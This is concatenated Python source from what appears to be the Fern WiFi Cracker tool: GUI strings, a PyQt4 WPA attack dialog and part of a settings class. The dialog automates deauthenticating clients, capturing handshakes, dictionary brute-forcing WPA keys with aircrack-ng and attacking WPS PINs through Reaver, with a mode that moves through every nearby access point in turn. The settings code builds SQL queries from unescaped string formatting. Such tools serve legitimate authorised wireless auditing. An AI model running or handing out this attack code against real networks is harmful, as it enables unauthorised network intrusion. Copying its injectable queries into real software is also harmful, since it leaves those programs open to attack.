# Error Strings
#
database_null_error = 'There are currently no access points inserted into the database,\
Access points are added automatically after a successful attack,\
alternatively you can insert access point details manually using the\
"Key Database" section of the main window,you can also input mac-addresses directly.\
'
invalid_mac_address_error = 'The MAC address inserted is invalid, \
a valid mac address has 6 segment with 2 hexadecimal values in each segment e.g 00:CA:56:12:8B:90'
#
# Html strings
#
# TOOLBOX OBJECTS
html_network_timeout_error = '''<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<style type="text/css">
body,td,th {
font-size: 12px;
}
</style>
</head>
<body>
<p><img src="file://%s/resources/map.png" alt="" width="108" height="87" /><strong> Fern GeoLocatory Mac Address Tracker
</strong>
</p>
<p><font color="#FF0000">Network Timeout:</font></p>
<p>* The current network connection does not have access to the internet.</p>
<p>* Please check your internet connection to make sure its connected to the internet.</p>
<p>* Press the "Track" button when you're done.</p>
</body>
</html>
'''%(os.getcwd())
html_instructions_message = '''<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<style type="text/css">
body,td,th {
font-size: 12px;
}
</style>
</head>
<body>
<p><img src="file://%s/resources/map.png" alt="" width="108" height="87" /> <strong>Fern GeoLocatory Mac Address Tracker </strong></p>
<p><font color=blue>Instructions:</font></p>
<p>* Fern Geolocatory Mac Address Tracker allows you track the geographical coordinates of wifi mac-addresses.</p>
<p>* The geographical co-ordinates are retrived and the corresponding maps are displayed on this very area you are reading from.</p>
<p>* Mac-addresses can either be inserted from the list of mac-addresses in "Fern Key Database" or otherwise inserted manually.</p>
<p>* You can insert mac-addresses manually by using the "Insert Mac Address" radio button then inputing it into the combo-box.</p>
</body>
</html>
'''%(os.getcwd())
ray_fusion_reports_html = '''<html>
<head>
<title>Fern - Ray Fusion Report</title>
<style type="text/css">
h1{
text-align: center;
}
h2{
font-size: larger;
text-decoration: underline;
}
.center{
text-align: center;
font-size: large;
}
#credentials{
position: absolute;
}
</style>
</head>
<body>
<h1>Ray Fusion Report</h1>
<hr>
<h2>Target Details</h2>
<table>
<tr>
<td><b>Remote Address</b>:</td>
<td> %s</td>
</tr>
<tr>
<td><b>Remote Port</b>:</td>
<td> %s</td>
</tr>
<tr>
<td><b>Remote Service</b>:</td>
<td> %s</td>
</tr>
</table>
<hr>
<h2 class="center">Report Details</h2>
<table id="credentials" class="center">
<tr>
<td><b>Username</b></td>
<td><b>Password</b></td>
</tr>
'''
| Python |
import re
from core.fern import *
from gui.attack_panel import *
from core.functions import *
from core.settings import *
from core.variables import *
from core import variables
from PyQt4 import QtGui,QtCore
#
# Wpa Attack window class for decrypting wep keys
#
class wpa_attack_dialog(QtGui.QDialog,Ui_attack_panel):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.setWindowModality(QtCore.Qt.ApplicationModal)
self.access_point = str()
self.client_list = []
self.started = False # If False it means attack is not active or has been stopped, can be used to control process
self.wordlist = str()
self.settings = Fern_settings() # For saving settings
self.wps_update_timer = QtCore.QTimer(self)
self.connect(self.wps_update_timer,QtCore.SIGNAL("timeout()"),self.set_if_WPS_Support)
self.wps_update_timer.start(1000)
self.connect(self.attack_button,QtCore.SIGNAL("clicked()"),self.launch_attack)
self.connect(self.dictionary_set,QtCore.SIGNAL("clicked()"),self.dictionary_setting)
self.connect(self,QtCore.SIGNAL("update client"),self.update_client_list)
self.connect(self,QtCore.SIGNAL("client not in list"),self.display_client)
self.connect(self,QtCore.SIGNAL("client is there"),self.client_available)
self.connect(self.wps_attack_radio,QtCore.SIGNAL("clicked()"),self.check_reaver_status)
self.connect(self,QtCore.SIGNAL("deauthenticating"),self.deauthenticating_display)
self.connect(self,QtCore.SIGNAL("handshake captured"),self.handshake_captured)
self.connect(self,QtCore.SIGNAL("bruteforcing"),self.bruteforce_display)
self.connect(self,QtCore.SIGNAL("wpa key found"),self.wpa_key_found)
self.connect(self,QtCore.SIGNAL("update_word(QString)"),self.update_word_label)
self.connect(self,QtCore.SIGNAL("update_progressbar"),self.update_progress_bar)
self.connect(self,QtCore.SIGNAL("update_speed(QString)"),self.update_speed_label)
self.connect(self,QtCore.SIGNAL("wpa key not found"),self.key_not_found)
self.connect(self,QtCore.SIGNAL("set maximum"),self.set_maximum)
self.connect(self,QtCore.SIGNAL("Stop progress display"),self.display_label)
self.connect(self,QtCore.SIGNAL("wordlist_lines_counted(QString)"),self.set_progress_bar)
if len(self.client_list) == 0:
thread.start_new_thread(self.auto_add_clients,())
victim_access_point = sorted(wpa_details.keys())[0]
variables.victim_mac = wpa_details[victim_access_point][0]
variables.victim_channel = wpa_details[victim_access_point][1]
variables.victim_access_point = victim_access_point
victim_power = wpa_details[victim_access_point][3]
victim_speed = wpa_details[victim_access_point][2]
cracked_key = get_key_from_database(variables.victim_mac,"WPA")
if(cracked_key):
self.key_label.setVisible(True)
self.key_label.setText('<font color=red>WPA KEY: %s</font>'%(cracked_key))
else:
self.key_label.setVisible(False)
self.essid_label.setText('<font color=red>%s</font>'%(str(victim_access_point)))
self.bssid_label.setText('<font color=red>%s</font>'%(str(variables.victim_mac)))
self.channel_label.setText('<font color=red>%s</font>'%(str(variables.victim_channel)))
self.power_label.setText('<font color=red>%s</font>'%(str(victim_power)))
self.encrypt_wep_label.setText('<font color=red>WPA</font>')
self.set_if_WPS_Support()
############## ATACK PANEL METHODS #####################
self.access_points = set()
self.client_list = []
self.index = 0
self.isfinished = False
self.control = True
self.cracked_keys = 0
self.thread_control = True
self.select_client = str()
self.progress_bar_max = int()
self.wpa_key_commit = str()
self.current_word= str()
self.word_number = int()
self.current_speed = str()
self.access_points = set()
self.mac_address = str()
self.wifi_icon = QtGui.QPixmap("%s/resources/radio-wireless-signal-icone-5919-96.png"%os.getcwd())
self.connect(self,QtCore.SIGNAL("new access point detected"),self.display_new_access_point)
self.connect(self.ap_listwidget,QtCore.SIGNAL("itemSelectionChanged()"),self.display_selected_target)
self.connect(self,QtCore.SIGNAL("start automated attack"),self.wpa_launch_attack)
self.connect(self,QtCore.SIGNAL("change tree item"),self.change_treeItem)
self.wpa_disable_items()
self.ap_listwidget.clear()
thread.start_new_thread(self.Check_New_Access_Point,())
self.keys_cracked_label.setVisible(False)
self.display_current_wordlist() # Display previous wordlist
self.setStyleSheet('background-image: url("%s/resources/binary_2.png");color:rgb(172,172,172);'%(os.getcwd()))
self.attack_type_combo.setStyleSheet('color: rgb(172,172,172);background-color: black;font: %spt;'%(font_size()))
self.set_Key_Clipbord()
############## CLIPBOARD AND CONTEXT METHODS #####################
def set_Key_Clipbord(self):
self.clipboard_key = str()
self.clipbord = QtGui.QApplication.clipboard()
self.key_label.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
self.wps_pin_label.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
self.connect(self.key_label,QtCore.SIGNAL("customContextMenuRequested(QPoint)"),self.show_key_menu)
self.connect(self.wps_pin_label,QtCore.SIGNAL("customContextMenuRequested(QPoint)"),self.show_wps_key_menu)
def Copy_Key(self,key_type):
key_string = str()
if(key_type == "WPS PIN"):
key_string = self.wps_pin_label.text()
actual_key = re.findall("WPS PIN: ([\S \w]+)</font>",key_string)
if(actual_key):
self.clipboard_key = actual_key[0]
else:
key_string = self.key_label.text()
actual_key = re.findall("WPA KEY: ([\S \w]+)</font>",key_string)
if(actual_key):
self.clipboard_key = actual_key[0]
self.clipbord.setText(self.clipboard_key)
def show_key_menu(self,pos):
menu = QtGui.QMenu()
copy_action = object()
convert_ascii_action = object()
convert_hex_action = object()
copy_action = menu.addAction("Copy Key")
selected_action = menu.exec_(self.key_label.mapToGlobal(pos))
if(selected_action == copy_action):
self.Copy_Key("OTHER KEY")
def show_wps_key_menu(self,pos):
menu = QtGui.QMenu()
copy_action = menu.addAction("Copy WPS Pin")
selected_action = menu.exec_(self.key_label.mapToGlobal(pos))
if(selected_action == copy_action):
self.Copy_Key("WPS PIN")
############## END OF CLIPBOARD AND CONTEXT METHODS #################
def set_Progressbar_color(self,color):
COLOR_STYLE = '''
QProgressBar {
border: 2px solid %s;
border-radius: 10px;
}
QProgressBar::chunk {
background-color: %s;
}
'''
self.progressBar.setStyleSheet(COLOR_STYLE % (color,color))
def display_selected_target(self):
self.client_list = []
self.attack_type_combo.clear()
selected_item = self.ap_listwidget.currentItem()
victim_access_point = str(selected_item.text())
# wpa_details = {'Elite': ['00:C0:CA:8B:15:62', '1', '54', '10']}
variables.victim_mac = wpa_details[victim_access_point][0]
variables.victim_channel = wpa_details[victim_access_point][1]
variables.victim_access_point = victim_access_point
victim_power = wpa_details[victim_access_point][3]
victim_speed = wpa_details[victim_access_point][2]
self.essid_label.setText('<font color=red>%s</font>'%(str(victim_access_point)))
self.bssid_label.setText('<font color=red>%s</font>'%(str(variables.victim_mac)))
self.channel_label.setText('<font color=red>%s</font>'%(str(variables.victim_channel)))
self.power_label.setText('<font color=red>%s</font>'%(str(victim_power)))
self.encrypt_wep_label.setText('<font color=red>WPA</font>')
self.set_if_WPS_Support()
cracked_key = get_key_from_database(variables.victim_mac,"WPA")
if(cracked_key):
self.key_label.setVisible(True)
self.key_label.setText('<font color=red>WPA KEY: %s</font>'%(cracked_key))
self.tip_display()
else:
self.key_label.setVisible(False)
self.client_update()
self.emit(QtCore.SIGNAL("update client"))
if len(self.client_list) == 0:
thread.start_new_thread(self.auto_add_clients,())
def show_tips(self):
tips = tips_window()
tips.type = 2
tips.setWindowTitle("Tips")
tips.label_2.setText("To copy the successfully cracked keys to clipboard, Please right click")
tips.label_3.setText("on the key of your choice and select \"Copy\".")
tips.label_4.setText("You can also convert between ASCII to HEX keys for WEP.")
tips.label_5.setVisible(False)
tips.exec_()
def tip_display(self):
if(self.settings.setting_exists("copy key tips")):
if(self.settings.read_last_settings("copy key tips") == "0"):
self.show_tips()
else:
self.settings.create_settings("copy key tips","1")
self.show_tips()
def display_access_points(self):
self.ap_listwidget.clear()
self.ap_listwidget.setSpacing(12)
for access_point in wpa_details.keys():
self.access_points.add(access_point)
item = QtGui.QListWidgetItem(self.ap_listwidget)
icon = QtGui.QIcon()
icon.addPixmap(self.wifi_icon)
item.setIcon(icon)
item.setText(access_point)
self.ap_listwidget.addItem(item)
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder)
self.ap_listwidget.setMovement(QtGui.QListView.Snap)
def Check_New_Access_Point(self):
while(True):
updated_list = set(wpa_details.keys())
if(True):
new_list = self.access_points.symmetric_difference(updated_list)
if(len(list(new_list))):
self.emit(QtCore.SIGNAL("new access point detected"))
time.sleep(4)
def display_new_access_point(self):
self.ap_listwidget.setSpacing(12)
new_access_points = self.access_points.symmetric_difference(set(wpa_details.keys()))
for access_point in list(new_access_points):
self.access_points.add(access_point)
item = QtGui.QListWidgetItem(self.ap_listwidget)
icon = QtGui.QIcon()
icon.addPixmap(self.wifi_icon)
item.setIcon(icon)
item.setText(access_point)
self.ap_listwidget.addItem(item)
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder)
self.ap_listwidget.setMovement(QtGui.QListView.Snap)
#
# SIGNALS AND SLOTS
#
def wpa_disable_items(self):
self.cracking_label_2.setEnabled(False)
self.injecting_label.setEnabled(False)
self.associate_label.setEnabled(False)
self.injection_work_label_2.setEnabled(False)
self.gathering_label.setEnabled(False)
self.progressBar.setValue(0)
self.set_Progressbar_color("#8B0000") # RED
self.ivs_progress_label.setEnabled(False)
self.dictionary_set.setVisible(False)
self.injecting_label.setText("Deauthentication Status")
self.associate_label.setText("Probing Access Point")
self.injection_work_label_2.setText("Current Dictionary File")
self.ivs_progress_label.setText('Current Phrase')
self.cracking_label_2.setText("Bruteforcing Encryption")
self.gathering_label.setText("Handshake Status")
self.finished_label.setText("Finished")
self.finished_label.setEnabled(False)
self.dictionary_set.setVisible(True)
self.key_label.setVisible(False)
self.attack_type_combo.setEditable(True)
if self.automate_checkbox.isChecked() == False:
self.keys_cracked_label.setVisible(False)
self.wps_pin_label.setVisible(False)
self.attack_button.setText("Attack")
def set_if_WPS_Support(self,messagebox = False):
victim_mac = variables.victim_mac
if not variables.wps_functions.is_WPS_Device(victim_mac):
self.wps_support_label.setEnabled(False)
self.wps_support_label.setText("Supports WPS")
if(messagebox):
QtGui.QMessageBox.warning(self,"WPS Device Support","WPS (WIFI Protected Setup) is not supported or is disabled by the selected access point")
self.regular_attack_radio.setChecked(True)
return
self.wps_support_label.setEnabled(True)
self.wps_support_label.setText("<font color=yellow>Supports WPS</font>")
def check_reaver_status(self):
if not variables.wps_functions.reaver_Installed():
answer = QtGui.QMessageBox.question(self,"Reaver not Detected",
'''The Reaver tool is currently not installed,The tool is necessary for attacking WPS Access Points.\n\nDo you want to open the download link?''',
QtGui.QMessageBox.Yes,QtGui.QMessageBox.No)
if(answer == QtGui.QMessageBox.Yes):
variables.wps_functions.browse_Reaver_Link()
self.regular_attack_radio.setChecked(True)
return
self.set_if_WPS_Support(True)
############################################################################
def cancel_wpa_attack(self):
commands.getstatusoutput('killall airodump-ng')
commands.getstatusoutput('killall aircrack-ng')
commands.getstatusoutput('killall aireplay-ng')
self.disconnect(self.attack_button,QtCore.SIGNAL("clicked()"),self.cancel_wpa_attack)
self.connect(self.attack_button,QtCore.SIGNAL("clicked()"),self.launch_attack)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("%s/resources/wifi_4.png"%(os.getcwd())))
self.attack_button.setIcon(icon)
self.attack_button.setText('Attack')
self.thread_control = True
self.started = False
if(self.wps_attack_radio.isChecked()):
variables.wps_functions.stop_Attack_WPS_Device()
def update_client_list(self):
client_mac_addresses = []
for mac_address in self.client_list:
if str(mac_address) not in client_mac_addresses:
client_mac_addresses.append(str(mac_address))
self.attack_type_combo.clear()
self.attack_type_combo.addItems(client_mac_addresses)
if bool(client_mac_addresses):
if(self.automate_checkbox.isChecked()):
if self.thread_control == True:
self.wpa_launch_attack()
def display_client(self):
self.ivs_progress_label.setEnabled(True)
self.ivs_progress_label.setText("<font color=red>Automatically probing and adding clients mac-addresses, please wait...</font>")
def client_available(self):
self.ivs_progress_label.setEnabled(False)
self.ivs_progress_label.setText("Current Phrase")
def deauthenticating_display(self):
self.injecting_label.setEnabled(True)
self.injecting_label.setText('<font color=yellow>Deauthenticating %s</font>'%(self.select_client))
def handshake_captured(self):
self.gathering_label.setEnabled(True)
self.gathering_label.setText('<font color=yellow>Handshake Captured</font>')
if self.settings.setting_exists('capture_directory'):
shutil.copyfile('/tmp/fern-log/WPA-DUMP/wpa_dump-01.cap',\
self.settings.read_last_settings('capture_directory') + '/%s_Capture_File(WPA).cap'%(variables.victim_access_point))
def bruteforce_display(self):
self.cracking_label_2.setEnabled(True)
self.cracking_label_2.setText('<font color=yellow>Bruteforcing WPA Encryption</font>')
def wpa_key_found(self):
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("%s/resources/wifi_4.png"%(os.getcwd())))
self.attack_button.setIcon(icon)
self.attack_button.setText('Attack')
self.new_automate_key()
wpa_key_read = reader('/tmp/fern-log/WPA-DUMP/wpa_key.txt')
self.finished_label.setEnabled(True)
self.finished_label.setText('<font color=yellow>Finished</font>')
self.key_label.setEnabled(True)
self.cancel_wpa_attack()
self.key_label.setVisible(True)
self.key_label.setText('<font color=red>WPA KEY: %s</font>'%(wpa_key_read))
self.set_Progressbar_color("green")
if self.wpa_key_commit == 0:
set_key_entries(variables.victim_access_point,variables.victim_mac,'WPA',wpa_key_read,variables.victim_channel) #Add WPA Key to Database Here
self.emit(QtCore.SIGNAL('update database label'))
self.wpa_key_commit += 1
self.isfinished = True
self.tip_display() # Display tips
def update_word_label(self,current_word):
self.ivs_progress_label.setEnabled(True)
self.ivs_progress_label.setText('<font color=yellow>%s</font>'%(current_word))
def update_progress_bar(self):
self.progressBar.setValue(self.word_number)
def update_speed_label(self,current_speed):
self.finished_label.setEnabled(True)
self.finished_label.setText('<font color=yellow>Speed: \t %s k/s</font>'%(current_speed))
def display_label(self):
self.finished_label.setEnabled(True)
self.finished_label.setText('<font color=yellow>Finished</font>')
def key_not_found(self):
self.finished_label.setEnabled(True)
self.finished_label.setText('<font color=yellow>Finished</font>')
if 'wpa_key.txt' in os.listdir('/tmp/fern-log/WPA-DUMP/'):
pass
else:
self.ivs_progress_label.setEnabled(True)
self.ivs_progress_label.setText('<font color=red>WPA Key was not found, please try another wordlist file</font>')
if bool(self.client_list):
if(self.automate_checkbox.isChecked()):
if self.thread_control == True:
self.wpa_launch_attack()
def set_maximum(self):
self.progressBar.setValue(self.progress_bar_max)
#
# Threads For Automation
#
def auto_add_clients(self):
loop_control = True
temp_mac_address = str(variables.victim_mac.strip(' '))
while temp_mac_address not in self.client_list:
if(self.wps_attack_radio.isChecked()):
if(variables.wps_functions.is_WPS_Device(variables.victim_mac)):
self.emit(QtCore.SIGNAL("client is there"))
self.emit(QtCore.SIGNAL("update client"))
return
if len(self.client_list) >= 1:
self.emit(QtCore.SIGNAL("client is there"))
self.emit(QtCore.SIGNAL("update client"))
break
else:
time.sleep(6)
if not self.started:
self.emit(QtCore.SIGNAL("client not in list"))
if(loop_control):
thread.start_new_thread(self.probe_for_Client_Mac,())
loop_control = False
self.client_update()
self.emit(QtCore.SIGNAL("update client"))
def probe_for_Client_Mac(self):
variables.exec_command("airodump-ng -a --channel %s --write /tmp/fern-log/WPA/zfern-wpa \
--output-format csv --encrypt wpa %s"%(variables.victim_channel,variables.monitor_interface))
def client_update(self):
wpa_clients_str = reader('/tmp/fern-log/WPA/zfern-wpa-01.csv')
wpa_clients_sort = wpa_clients_str[wpa_clients_str.index('Probed ESSIDs'):-1]
for line in wpa_clients_sort.splitlines():
result = re.findall("(([0-9A-F]{2}:){5}[0-9A-F]{2})",line)
if(len(result) == 2):
if(result[1][0] == variables.victim_mac):
self.client_list.append(result[0][0])
def launch_brutefore(self):
current_word_regex = re.compile("Current passphrase: ([\w\s!@#$%^&*()-=_+]+)",re.IGNORECASE)
keys_speed_regex = re.compile("(\d+.?\d+) k/s",re.IGNORECASE)
keys_tested_regex = re.compile("(\d+) keys tested",re.IGNORECASE)
crack_process = subprocess.Popen("cd /tmp/fern-log/WPA-DUMP/ \naircrack-ng -a 2 -w '%s' *.cap -l wpa_key.txt" % (self.wordlist),
shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
stdout = crack_process.stdout
while 'wpa_key.txt' not in os.listdir('/tmp/fern-log/WPA-DUMP/'):
stdout_read = stdout.readline()
self.current_word = str()
current_word = current_word_regex.findall(stdout_read)
if(current_word):
self.current_word = current_word[0]
self.emit(QtCore.SIGNAL("update_word(QString)"),self.current_word)
word_number = keys_tested_regex.findall(stdout_read)
if(word_number):
self.word_number = int(word_number[0])
self.emit(QtCore.SIGNAL("update_progressbar"))
current_speed = keys_speed_regex.findall(stdout_read)
if(current_speed):
self.current_speed = current_speed[0]
self.emit(QtCore.SIGNAL("update_speed(QString)"),self.current_speed)
self.emit(QtCore.SIGNAL("wpa key found"))
def wpa_capture(self):
monitor_interface = variables.monitor_interface
variables.exec_command('%s airodump-ng --bssid %s --channel %s -w /tmp/fern-log/WPA-DUMP/wpa_dump %s'%(variables.xterm_setting,variables.victim_mac,variables.victim_channel,monitor_interface))
def deauthenticate_client(self):
monitor_interface = variables.monitor_interface
variables.exec_command('%s aireplay-ng -a %s -c %s -0 5 %s'%(variables.xterm_setting,variables.victim_mac,self.select_client,monitor_interface))
def capture_check(self):
variables.exec_command('cd /tmp/fern-log/WPA-DUMP/ \n aircrack-ng *.cap | tee capture_status.log')
def capture_loop(self):
time.sleep(3)
self.emit(QtCore.SIGNAL("deauthenticating"))
while '1 handshake' not in reader('/tmp/fern-log/WPA-DUMP/capture_status.log'):
if(self.started == False): # Break deauthentication loop if attack has been stopped
return
thread.start_new_thread(self.deauthenticate_client,())
time.sleep(10)
thread.start_new_thread(self.capture_check,())
self.emit(QtCore.SIGNAL("handshake captured")) # Handshake captured
commands.getstatusoutput('killall airodump-ng')
commands.getstatusoutput('killall aireplay-ng')
time.sleep(1)
self.emit(QtCore.SIGNAL("bruteforcing"))
thread.start_new_thread(self.launch_brutefore,())
thread.start_new_thread(self.wordlist_check,())
def wordlist_check(self):
control_word = 0
while control_word != 1:
controller = self.current_word
time.sleep(30)
if controller == self.current_word:
control_word = 1
self.emit(QtCore.SIGNAL("set maximum"))
self.emit(QtCore.SIGNAL("wpa key not found"))
def display_current_wordlist(self):
if(self.settings.setting_exists("wordlist")):
get_temp_name = self.settings.read_last_settings("wordlist") #Just for displaying name of wordlist to label area
self.wordlist = get_temp_name
split_name = get_temp_name.split(os.sep)
if(split_name):
filename = split_name[-1]
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=yellow><b>%s</b></font>'%(filename))
else:
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>')
def launch_attack(self):
if(self.automate_checkbox.isChecked()):
thread.start_new_thread(self.launch_attack_2,())
else:
self.wpa_launch_attack()
def launch_attack_2(self):
self.isfinished = True
for index,access_point in enumerate(wpa_details.keys()):
variables.victim_access_point = access_point
variables.victim_mac = wpa_details[access_point][0]
variables.victim_channel = wpa_details[access_point][1]
while(self.isfinished == False):
time.sleep(4)
if self.control == False:
break
if(self.index == (len(wpa_details.keys()) - 1)):
self.control = False
if(index >= 1):
self.emit(QtCore.SIGNAL("change tree item"))
self.emit(QtCore.SIGNAL("start automated attack"))
self.index = index
self.isfinished = False
while(self.thread_control == False):
time.sleep(1)
def change_treeItem(self):
if(self.automate_checkbox.isChecked()):
self.ap_listwidget.setCurrentItem(self.ap_listwidget.item(self.index))
self.display_selected_target()
def new_automate_key(self):
self.cracked_keys += 1
if(self.automate_checkbox.isChecked()):
self.keys_cracked_label.setVisible(True)
self.keys_cracked_label.setText("<font color=yellow><b>%s keys cracked</b></font>"%(str(self.cracked_keys)))
else:
self.keys_cracked_label.setVisible(False)
def wpa_launch_attack(self):
self.wpa_key_commit = 0
self.wpa_disable_items()
if(is_already_Cracked(variables.victim_mac,"WPA")):
answer = QtGui.QMessageBox.question(self,"Access Point Already Cracked",variables.victim_access_point + "'s key already exists in the database, Do you want to attack and update the already saved key?",QtGui.QMessageBox.Yes,QtGui.QMessageBox.No);
if(answer == QtGui.QMessageBox.No):
self.control = True
return
if(self.wps_attack_radio.isChecked()): # WPS Attack Mode
self.control = True
self.wpa_disable_items()
variables.wps_functions.victim_MAC_Addr = variables.victim_mac
self.set_WPS_Objects(variables.wps_functions)
variables.wps_functions.start()
self.isfinished = False
self.progressBar.setValue(0)
self.disconnect(self.attack_button,QtCore.SIGNAL("clicked()"),self.launch_attack)
self.connect(self.attack_button,QtCore.SIGNAL("clicked()"),self.cancel_wpa_attack)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("%s/resources/stop.png"%(os.getcwd())))
self.attack_button.setIcon(icon)
self.attack_button.setText('Stop')
self.started = True
self.thread_control = False
return
self.select_client = self.attack_type_combo.currentText()
if(self.select_client == str()):
QtGui.QMessageBox.warning(self,"WPA Attack Requirement","At least one client MAC-Address asscociated with the Access Point is required to successfully attack the WPA Encryption, If you know a client MAC Address you can add it manually or wait for the probing process to detect client addresses")
self.attack_type_combo.setFocus()
return
if not Check_MAC(self.select_client):
QtGui.QMessageBox.warning(self,'Invalid Client MAC Address',variables.invalid_mac_address_error.strip('/n'))
return
self.emit(QtCore.SIGNAL("stop scan"))
commands.getstatusoutput('killall airodump-ng')
commands.getstatusoutput('killall airmon-ng')
commands.getstatusoutput('rm -r /tmp/fern-log/WPA-DUMP/*')
if self.select_client == str():
self.associate_label.setEnabled(True)
self.associate_label.setText('<font color=red>Client mac-address is needed</font>')
else:
if not self.settings.setting_exists("wordlist"):
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>')
else:
get_temp_name = self.settings.read_last_settings("wordlist") #Just for displaying name of wordlist to label area
split_name = get_temp_name.split(os.sep)
if(split_name):
filename = split_name[-1]
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=yellow><b>%s</b></font>'%(filename))
else:
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>')
self.progressBar.setMaximum(10000) # Temporarily set the progressBar to 10000, until actual wordlist count is determined
if(self.settings.setting_exists(get_temp_name)): # if the line count exists for previously used wordlist
self.progress_bar_max = int(self.settings.read_last_settings(get_temp_name)) # set the progress_bar variable to the cached count
self.progressBar.setMaximum(self.progress_bar_max)
else:
thread.start_new_thread(self.find_dictionary_length,(get_temp_name,)) # open thread to count the number of lines in the new wordlist
commands.getstatusoutput('killall airodump-ng')
commands.getstatusoutput('killall aireplay-ng')
self.associate_label.setEnabled(True)
self.associate_label.setText("<font color=yellow>Probing Access Point</font>")
commands.getstatusoutput('touch /tmp/fern-log/WPA-DUMP/capture_status.log')
self.progressBar.setValue(0)
self.disconnect(self.attack_button,QtCore.SIGNAL("clicked()"),self.launch_attack)
self.connect(self.attack_button,QtCore.SIGNAL("clicked()"),self.cancel_wpa_attack)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("%s/resources/stop.png"%(os.getcwd())))
self.attack_button.setIcon(icon)
self.attack_button.setText('Stop')
self.started = True
self.thread_control = False
thread.start_new_thread(self.wpa_capture,())
thread.start_new_thread(self.capture_loop,())
def find_dictionary_length(self,filename):
self.progress_bar_max = line_count(filename)
self.emit(QtCore.SIGNAL("wordlist_lines_counted(QString)"),filename)
def set_progress_bar(self,filename):
self.progressBar.setMaximum(self.progress_bar_max)
self.settings.create_settings(filename,str(self.progress_bar_max))
def dictionary_setting(self):
filename = QtGui.QFileDialog.getOpenFileName(self,"Select Wordlist","")
if(filename):
self.settings.create_settings("wordlist",filename)
get_temp_name = self.settings.read_last_settings("wordlist")
self.wordlist = get_temp_name
split_name = get_temp_name.replace('/','\n')
filename_split = split_name.splitlines()
try:
filename = filename_split[-1]
except IndexError:
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>')
self.injection_work_label_2.setEnabled(True)
self.injection_work_label_2.setText('<font color=yellow><b>%s</b></font>'%(filename))
# WPS AND REGULAR ATTACK STARTUP
def set_WPS_Objects(self,instance):
self.progressBar.setMaximum(100)
self.progressBar.setValue(0)
self.connect(instance,QtCore.SIGNAL("Associating with WPS device"),self.associating_wps)
self.connect(instance,QtCore.SIGNAL("Bruteforcing WPS Device"),self.associated_bruteforing)
self.connect(instance,QtCore.SIGNAL("WPS Progress"),self.updating_progress)
self.connect(instance,QtCore.SIGNAL("Cracked WPS Pin"),self.display_WPS_pin)
self.connect(instance,QtCore.SIGNAL("Cracked WPS Key"),self.display_Cracked_Key)
def associating_wps(self):
self.associate_label.setEnabled(True)
self.associate_label.setText("<font color=yellow>Associating with WPS Device</font>")
def associated_bruteforing(self):
self.injecting_label.setEnabled(True)
self.gathering_label.setEnabled(True)
self.injecting_label.setText("<font color=yellow>Associated with %s</font>" % variables.victim_mac)
self.gathering_label.setText("<font color=yellow>Bruteforcing WPS Device</font>")
def updating_progress(self):
self.ivs_progress_label.setEnabled(True)
self.cracking_label_2.setEnabled(True)
value = int(float(variables.wps_functions.progress))
self.progressBar.setValue(value)
if(value < 33):
self.set_Progressbar_color("#8B0000") # RED
elif(value < 66):
self.set_Progressbar_color("#CCCC00") # YELLOW
else:
self.set_Progressbar_color("green")
self.ivs_progress_label.setText("<font color=yellow>" + variables.wps_functions.progress + "% Complete</font>")
self.cracking_label_2.setText("<font color=yellow>Updating Progress</font>")
def display_WPS_pin(self):
self.wps_pin_label.setEnabled(True)
self.wps_pin_label.setVisible(True)
self.wps_pin_label.setText("<font color=red>WPS PIN: " + variables.wps_functions.get_keys()[0] + "</font>" )
def display_Cracked_Key(self):
self.key_label.setEnabled(True)
self.key_label.setVisible(True)
self.key_label.setText("<font color=red>WPA KEY: " + variables.wps_functions.get_keys()[1] + "</font>" )
self.set_Progressbar_color("green")
set_key_entries(variables.victim_access_point,variables.victim_mac,'WPA',variables.wps_functions.get_keys()[1],variables.victim_channel)
self.emit(QtCore.SIGNAL('update database label'))
self.finished_label.setText("<font color=yellow>Finished</font>")
self.new_automate_key()
self.cancel_wpa_attack()
self.isfinished = True
self.tip_display() # Display Tips
def closeEvent(self,event):
self.wps_update_timer.stop()
| Python |
import os
import sqlite3
class Fern_settings(object):
def __init__(self):
self.cwd = os.getcwd()
self._create_settings_directory()
self.settings_file = "key-database/Database.db"
self.settings_object = sqlite3.connect(self.settings_file)
self.cursor_object = self.settings_object.cursor()
self.create_table()
def __del__(self):
self.close_setting_file()
def _create_settings_directory(self):
if not os.path.exists(self.cwd + os.sep + "Settings"):
os.mkdir(self.cwd + os.sep + "Settings")
def create_table(self):
self.cursor_object.execute("create table if not exists settings (object text,value text)")
self.settings_object.commit()
def create_settings(self,object_name,value):
''' This function reads the settings file for already
existing variables, and if they are any conflicting
variable, it removes it and replaces it
with the new
'''
if self.setting_exists(object_name):
self.cursor_object.execute("update settings set value = '%s' where object = '%s'" % (value,object_name))
else:
self.cursor_object.execute("insert into settings values ('%s','%s')" % (object_name,value))
self.settings_object.commit()
def setting_exists(self,object_name):
'''This function checks to see if queried
settings exists in shelve object
'''
